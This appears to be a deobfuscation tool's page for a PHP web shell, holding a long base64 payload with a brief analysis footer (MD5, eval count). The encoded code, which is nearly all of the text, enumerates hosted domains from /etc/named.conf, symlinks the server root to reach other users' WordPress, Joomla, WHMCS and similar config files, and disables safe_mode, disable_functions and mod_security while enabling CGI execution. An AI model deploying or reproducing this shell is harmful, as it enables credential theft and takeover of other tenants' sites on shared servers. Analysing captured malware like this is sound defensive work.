M9J21haW4nIGJvcmRlcj0wID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlcnMgPC90aD48L3RyPiI7CiAgICAgICAgICAgIAogICAgICAgICAgICAkdW5rID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewogICAgICAgICAgICAgICAgICAgICAgICAkdW5rW10gPSAkZG9tYWluc1sxXVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCR1bmsgYXMgJGQpewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCdzeW0nLDA3NzcpOwogICAgICAgICRoZHQgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkaGZwID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAgICAgIGZ3cml0ZSgkaGZwICwkaGR0KTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgewogICAgICAgICAgICBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiAgICAgICAgfQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwogICAgICAgIGlmKCEkZDBtYWlucykgewogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50PTE7CiAgICAgICAgICAgICRtY2sgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkbWNrW10gPSAkZG9tYWluWzFdWzBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCRtY2sgYXMgJGQpIHsKICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkKSk7CiAgICAgICAgICAgICAgICAkZGR0ID0gJHVzZXJbJ25hbWUnXTsKICAgICAgICAgICAgICAgIC8vQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwogICAgICAgICAgICAgICAgJGRkdCA9ICRkOwogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCJcLmlyIiwkZCkgb3IgQGVyZWdpKCJcLmlsIiwkZCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRkdCA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICNGRjAwMDAgOyB0ZXh0LXNoYWRvdzogMHB4IDBweCAxcHggcmVkOyAnPiIuJGQuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kY291bnQrKy4iPC90ZD48dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovLyIuJGQuJy8+Jy4kZGR0LicgPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7ICAgIAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgIEBta2Rpcignc3ltJywwNzc3KTsKICAgICAgICAkaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkaGZwID0gQGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKICAgICAgICBAZndyaXRlKCRoZnAgLCRoZHQpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKICAgICAgICB9CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CiAgICAgICAgaWYoISRkMG1haW5zKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBTY3JpcHQgPC90aD48L3RyPiI7CiAgICAgICAgICAgICRjb3VudCA9IDE7CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CiAgICAgICAgICAgICAgICBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKT4yKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpblsxXVswXSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJGMxID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMiA9IGdldF9oZWFkZXJzKCRjMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAyID0gJGNoMDJbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAzID0gZ2V0X2hlYWRlcnMoJGMzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDMgPSAkY2gwM1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM0ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM1ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNSA9IGdldF9oZWFkZXJzKCRjNSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA1ID0gJGNoMDVbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDYgPSBnZXRfaGVhZGVycygkYzYpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNiA9ICRjaDA2WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzcgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM4ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4ncHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA4ID0gZ2V0X2hlYWRlcnMoJGM4KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDggPSAkY2gwOFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM5ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOSA9IGdldF9oZWFkZXJzKCRjOSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA5ID0gJGNoMDlbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTAgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTEgPSBnZXRfaGVhZGVycygkYzExKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTEgPSAkY2gxMVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMiA9IGdldF9oZWFkZXJzKCRjMTIpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMiA9ICRjaDEyWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzEzID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE0ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGUvYXBwX2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNCA9IGdldF9oZWFkZXJzKCRjMTQpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNCA9ICRjaDE0WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE1ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTUgPSBnZXRfaGVhZGVycygkYzE1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTUgPSAkY2gxNVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAnJm5ic3A7JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRjZjAxLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9IAogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzIuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSAmJiBzdHJwb3MoJGNmMTEsJzIwMCcpID09IHRydWUpIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDksJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzkuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEwLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMC4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMy4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzQuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM1LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNiwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNi4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDcsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA4LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5vc0NvbW1lcmNlL1plbiBDYXJ0PC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPk1hZ2VudG88L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+RHJ1cGFsPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPicuJGNvdW50KysuJzwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRkb21haW5bMV1bMF0uJy8+Jy4kZG9tYWluWzFdWzBdLic8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLic8L3RkPjx0ZD4nLiRvdXQuJzwvdGQ+PC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICAgICAkbD0kbD8wOjE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICAKICAgIH0KICAgIGVjaG8gIjwvZGl2PiI7CiAgICBwcmludEZvb3RlcigpOwp9IAoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYKICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOyAKICAgIH0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQogICAgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQogICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwogICAgZWxzZQogICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7')); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b33f8627428755bb57930b62c9d00e26
Eval Count 1
Decode Time 260 ms